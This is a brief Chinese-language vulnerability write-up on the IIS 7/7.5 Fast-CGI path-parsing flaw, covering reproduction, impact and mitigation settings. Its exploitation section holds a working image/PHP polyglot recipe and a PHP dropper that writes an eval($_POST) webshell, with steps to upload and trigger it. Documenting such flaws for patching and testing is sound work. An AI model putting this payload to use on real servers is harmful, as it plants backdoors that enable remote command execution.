IIS7/7.5对文件名畸形解析
1️⃣漏洞复现
IIS 7/7.5在Fast-CGI运行模式下,如果在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
2️⃣利用方法
将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
- /b 即二进制[binary]模式
- /a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容
<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[IIS])?>');?>
意思为写入一个内容为 <?php eval($_POST[IIS])?>
名称为shell.php的文件
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 IIS
3️⃣详细描述
Microsoft Internet信息服务(IIS)是Microsoft Windows自带的一个网络信息服务器。
IIS7/7.5当以CGI的方式运行PHP时,在处理PHP文件路径的解析时存在问题。如果网站允许上传文件,而且上传文件路径可得到,远程攻击者可以利用此漏洞上传包含恶意代码的文件并得到执行,实现以Web进程权限执行任意命令。
攻击者上传允许上传的文件类型,文件中包含恶意代码,得到上传文件的URL后,在其后添加任意php后缀的文件名进行访问,会把上传的文件作为CGI脚本执行。
4️⃣解决办法
增强IIS设置。在IIS里找到“处理程序映射”,然后对PHP这一项进行编辑,将映射调整为仅限文件。或则在php.ini中修改为cgi.fix_pathinfo = 0 。